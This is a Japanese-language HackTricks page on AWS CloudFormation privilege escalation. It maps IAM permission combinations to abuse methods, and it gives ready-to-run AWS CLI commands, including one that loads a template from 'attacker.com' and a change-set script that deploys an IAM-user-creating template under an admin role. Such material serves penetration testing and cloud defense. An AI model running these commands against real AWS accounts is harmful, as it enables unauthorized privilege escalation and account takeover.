AWS - Cloudformation Privesc

Support HackTricks

cloudformation

cloudformationに関する詳細情報は、以下を確認してください:

iam:PassRole, cloudformation:CreateStack

これらの権限を持つ攻撃者は、指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して CloudFormationスタックを作成することにより、権限を昇格させることができます

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

以下のページには、追加の権限 cloudformation:DescribeStacks を持つ エクスプロイト例があります:

潜在的な影響: 指定されたcloudformationサービスロールへの権限昇格。

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

この場合、既存のcloudformationスタックを悪用して、それを更新し、前のシナリオのように権限を昇格させることができます:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、自分自身に UpdateStack 権限を付与し、攻撃を実行できます。

潜在的な影響: 指定された cloudformation サービスロールへの権限昇格。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

この権限を持っているが、iam:PassRole がない場合でも、スタックを更新し、既に添付されている IAM ロールを悪用することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。

cloudformation:SetStackPolicy 権限を使用して、自分自身に UpdateStack 権限を付与し、攻撃を実行できます。

潜在的な影響: 既に添付されている cloudformation サービスロールへの権限昇格。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

役割を渡す権限ChangeSet を作成および実行する権限を持つ攻撃者は、新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用することができます。これは CreateStack または UpdateStack と同様です。

以下の悪用は、ChangeSet 権限を使用してスタックを作成する CreateStack のバリエーションです。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、スタックに対して ChangeSet 権限を付与し、攻撃を実行できます。

潜在的な影響: cloudformation サービスロールへの権限昇格。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

これは前の方法と似ていますが、IAM ロールを渡さずに行うため、すでにアタッチされているロールを悪用することができます。パラメータを変更するだけです:

--change-set-type UPDATE

潜在的影響: 既にアタッチされているcloudformationサービスロールへの権限昇格。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用する可能性があります。

潜在的影響: cloudformationサービスロールへの権限昇格。

cloudformation:UpdateStackSet

攻撃者はpassRole権限なしでこの権限を悪用し、StackSetsを更新してアタッチされたcloudformationロールを悪用する可能性があります。

潜在的影響: アタッチされたcloudformationロールへの権限昇格。

参考文献

HackTricksをサポートする

Last updated